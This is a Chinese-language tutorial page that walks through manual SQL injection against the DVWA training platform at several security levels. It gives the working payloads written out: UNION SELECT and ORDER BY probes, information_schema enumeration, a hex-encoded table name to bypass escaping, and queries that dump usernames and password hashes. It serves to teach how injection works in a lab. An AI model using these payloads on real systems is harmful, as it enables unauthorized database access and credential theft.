热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

mysql回显_SQL回显

DVWA-SQL注入DVWA是一个基于PHP和MySQL开发的漏洞测试平台测试环境应用程序:phpStudy(apache,php,mysql)测试程序

DVWA-SQL注入

DVWA是一个基于PHP和MySQL开发的漏洞测试平台

测试环境

应用程序: phpStudy(apache,php,mysql)

测试程序: firefox, new hacker, burpsuite,sqlmap,中国菜刀

一、        SQL注入

SQL注入是指攻击者通过注入恶意的SQL命令,破坏SQL查询语句的结构,从而达到恶意SQL语句的目的。

二、手工注入常规思路

1.判断是否存在注入,注入是字符型还是数字型

2.猜解SQL查询语句中的字段数

3.确定回显位置

4.获取当前数据库

5.获取数据库中的表

6.获取表中的字段名

7.得到数据

三、DVWA注入分析

先将DVWA的级别设置为LOW

1.分析源码,可以看到没有对参数做任何的过滤,直接带入数据库进行查询,分析sql查询语句,可能存在字符型sq1注入

5e21111a2443edbe708449e7978b2296.png

7f38805e2b10d0564f3ade0d514e02b7.png

ecec4219bbcfb157c55792a8b0966500.png

2.判断sql是否存在注入,以及注入的类型。1’and’1’=’1

f4620b33672bcc2cb62162965ce72a62.png

3.猜测SQL查询语句中的字段数,1’order  by  1#

8ea78c2905aa26c44fedf17e82d1bac0.png

1’order  by  2#

ab901586bf5a59d9a8cf35d7cfcb1a78.png

1’order  by  3#

aba87c13fe7b8fec13314579568e44ba.png

从上面两个图可以看出,SQL语句查询的表字段数是2,确定显示的位置(SQL语句查询之后的回显位置)

1’union select  1,2#从下图中可以看到有两个回显

60e5f9a15592be5011f8784e14452db3.png

查询当前的数据库,以及版本

1’union select  version(),database() #

4a59586868c793903983d3817744d60f.png

获取数据库中的表,1’union select  1,group_concat(table_name) from information_schema.tables where table_schema=database ()#

6905c47e6e4033e7c7c502f180fa0dbb.png

8f3d3e145396f3a1fab8c4b382f7c28b.png

获取表中的字段名,1’union  select  1,group_concat(column_name) from information_schema.columns where table_name=’users’#

79a444ad80179a765adbbb155c6736f1.png

117b80c0ddd4a7f53e62d0642a99616b.png

获取字段中的数据,1’union  select  user,password from users#

b1bb8010475b672234d292c33c7a7009.png

04c7f11c31cad69477abfa185556cacd.png

将DVWA的级别设置为Medium

611a8fd1b25be97cc53f73eb058a8b2e.png

中级加入了一些防御,不让用户输入,只提供选择(可用burpsuit抓包来绕过),分析源码可以看到对参数的使用mysql_real_escape_string函数转义sql语句中的一些特殊字符,查看sql查询语句可以看出可能存在数字型sql注入。

ca977ff063faa268fd5a0d107aa70265.png

51aa8b377230bbb96658b32f835322e9.png

通过burpsuit抓包,修改数据包,绕过防御。判断注入点,以及注入的类型,下图可以看到,存在注入,注入类型是数字型注入。1 and 1=1#

691460532f75cf9999af15a023f03e04.png

猜解sql查询语句中的字段的个数,测试字段个数1,1 order by

1#

7d0a830c534c5607c6acd63ca155746b.png

测试字段个数2,1 order by 2#

f3e0aaa8ddc79626d7f85669521b7609.png

测试字段个数3,1 order by 3#。返回错误页面, 所以字段数为2

edefcf95ed143c6102d880012c44b55c.png

确定回显的位置,下图可以说明有2个回显位置,1 union select 1,2#

bcc11e455644f050bf6921adf5691a8d.png

获取当前数据库的名称以及版本,

union select database(), version()#

98eca89262cf6f18d90483f618869fd1.png

获取数据库中的所有表,1 union select 1, group_ concat (table_ name) frominformation_ schema. tables where table_ schema=database()#

5067f2a9a7067308fbef85bbe11fe511.png

获取表中的所有字段名,考虑到单引号被转义,可以利用16 进制进行绕过。1union select 1, group_ concat (column_ name) from information_ schema. col umnswhere table_ name=0x7573657273#

851d019a7cd630b70109872865020faa.png

获取字段中的数据,1union se lect user, password from users#

3091442da388d59f08dc632978ecfb58.png

将DVWA的级别设置为High

将dvwa设置为高级,可以看出,点击”here to change your ID”,页面自动跳转,防御了自动化的SQL注入,分析源码可以看到,对参数没有做防御,在sql查询语句中限制了查询条数,可以通过burpsuit抓包,修改数据包实现绕过。

c39280849ff2a54c241c8f21a5d5fc33.png

095ca1602b66bfb15a5e494f1d1dc58b.png

点开链接显示下图

7142a2cb1cd1042d9577b1b6f6155def.png

发送1

34d8e99a5a0a3314d9e10cca04e4bd98.png

查看源码

c9bb75159206a7588fc1fa749afdad4c.png

获得密码,1’ union select user, password from users#

20258783d4d25130789a15f4fafbaef8.png

daf50df88725eba7269e3dd76f440e5a.png

23167c49d3768e28012eebdd8585ab7a.png

180d3f6414165726cad417e8583abb2d.png

将DVWA的级别设置为Impossible,分析源码可以看到使用了PD0技术,杜绝了SQL注入。

8a2bff3934edccaaace52412f246f775.png

3042321f651853417b5f5249c9349391.png



推荐阅读
  • Spring框架入门指南:专为新手打造的详细学习笔记
    Spring框架是Java Web开发中广泛应用的轻量级应用框架,以其卓越的功能和出色的性能赢得了广大开发者的青睐。本文为初学者提供了详尽的学习指南,涵盖基础概念、核心组件及实际应用案例,帮助新手快速掌握Spring框架的核心技术与实践技巧。 ... [详细]
  • 在Android应用开发中,实现与MySQL数据库的连接是一项重要的技术任务。本文详细介绍了Android连接MySQL数据库的操作流程和技术要点。首先,Android平台提供了SQLiteOpenHelper类作为数据库辅助工具,用于创建或打开数据库。开发者可以通过继承并扩展该类,实现对数据库的初始化和版本管理。此外,文章还探讨了使用第三方库如Retrofit或Volley进行网络请求,以及如何通过JSON格式交换数据,确保与MySQL服务器的高效通信。 ... [详细]
  • PTArchiver工作原理详解与应用分析
    PTArchiver工作原理及其应用分析本文详细解析了PTArchiver的工作机制,探讨了其在数据归档和管理中的应用。PTArchiver通过高效的压缩算法和灵活的存储策略,实现了对大规模数据的高效管理和长期保存。文章还介绍了其在企业级数据备份、历史数据迁移等场景中的实际应用案例,为用户提供了实用的操作建议和技术支持。 ... [详细]
  • Amoeba 通过优化 MySQL 的读写分离功能显著提升了数据库性能。作为一款基于 MySQL 协议的代理工具,Amoeba 能够高效地处理应用程序的请求,并根据预设的规则将 SQL 请求智能地分配到不同的数据库实例,从而实现负载均衡和高可用性。该方案不仅提高了系统的并发处理能力,还有效减少了主数据库的负担,确保了数据的一致性和可靠性。 ... [详细]
  • Spring框架的核心组件与架构解析 ... [详细]
  • 在处理遗留数据库的映射时,反向工程是一个重要的初始步骤。由于实体模式已经在数据库系统中存在,Hibernate 提供了自动化工具来简化这一过程,帮助开发人员快速生成持久化类和映射文件。通过反向工程,可以显著提高开发效率并减少手动配置的错误。此外,该工具还支持对现有数据库结构进行分析,自动生成符合 Hibernate 规范的配置文件,从而加速项目的启动和开发周期。 ... [详细]
  • 本文探讨了利用Java实现WebSocket实时消息推送技术的方法。与传统的轮询、长连接或短连接等方案相比,WebSocket提供了一种更为高效和低延迟的双向通信机制。通过建立持久连接,服务器能够主动向客户端推送数据,从而实现真正的实时消息传递。此外,本文还介绍了WebSocket在实际应用中的优势和应用场景,并提供了详细的实现步骤和技术细节。 ... [详细]
  • 在过去,我曾使用过自建MySQL服务器中的MyISAM和InnoDB存储引擎(也曾尝试过Memory引擎)。今年初,我开始转向阿里云的关系型数据库服务,并深入研究了其高效的压缩存储引擎TokuDB。TokuDB在数据压缩和处理大规模数据集方面表现出色,显著提升了存储效率和查询性能。通过实际应用,我发现TokuDB不仅能够有效减少存储成本,还能显著提高数据处理速度,特别适用于高并发和大数据量的场景。 ... [详细]
  • 本文详细探讨了MySQL并发参数的优化与调整方法,旨在帮助读者深入了解如何通过合理配置这些参数来提升数据库性能。文章不仅介绍了常见的并发参数及其作用,还提供了实际操作中的调整策略和最佳实践,适合希望提高数据库管理技能的技术人员阅读。 ... [详细]
  • 在基于.NET框架的分层架构实践中,为了实现各层之间的松散耦合,本文详细探讨了依赖注入(DI)和控制反转(IoC)容器的设计与实现。通过合理的依赖管理和对象创建,确保了各层之间的单向调用关系,从而提高了系统的可维护性和扩展性。此外,文章还介绍了几种常见的IoC容器实现方式及其应用场景,为开发者提供了实用的参考。 ... [详细]
  • 本文作为“实现简易版Spring系列”的第五篇,继前文深入探讨了Spring框架的核心技术之一——控制反转(IoC)之后,将重点转向另一个关键技术——面向切面编程(AOP)。对于使用Spring框架进行开发的开发者来说,AOP是一个不可或缺的概念。了解AOP的背景及其基本原理,对于掌握这一技术至关重要。本文将通过具体示例,详细解析AOP的实现机制,帮助读者更好地理解和应用这一技术。 ... [详细]
  • 如何在Java中高效构建WebService
    本文介绍了如何利用XFire框架在Java中高效构建WebService。XFire是一个轻量级、高性能的Java SOAP框架,能够简化WebService的开发流程。通过结合MyEclipse集成开发环境,开发者可以更便捷地进行项目配置和代码编写,从而提高开发效率。此外,文章还详细探讨了XFire的关键特性和最佳实践,为读者提供了实用的参考。 ... [详细]
  • 为了优化直播应用底部聊天框的弹出机制,确保在不同设备上的布局稳定性和兼容性,特别是在配备虚拟按键的设备上,我们对用户交互流程进行了调整。首次打开应用时,需先点击首个输入框以准确获取键盘高度,避免直接点击第二个输入框导致的整体布局挤压问题。此优化通过调整 `activity_main.xml` 布局文件实现,确保了更好的用户体验和界面适配。 ... [详细]
  • MySQL:不仅仅是数据库那么简单
    MySQL不仅是一款高效、可靠的数据库管理系统,它还具备丰富的功能和扩展性,支持多种存储引擎,适用于各种应用场景。从简单的网站开发到复杂的企业级应用,MySQL都能提供强大的数据管理和优化能力,满足不同用户的需求。其开源特性也促进了社区的活跃发展,为技术进步提供了持续动力。 ... [详细]
  • SQLmap自动化注入工具命令详解(第28-29天 实战演练)
    SQL注入工具如SQLMap等在网络安全测试中广泛应用。SQLMap是一款开源的自动化SQL注入工具,支持12种不同的数据库,具体支持的数据库类型可在其插件目录中查看。作为当前最强大的注入工具之一,SQLMap在实际应用中具有极高的效率和准确性。 ... [详细]
author-avatar
UPI
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有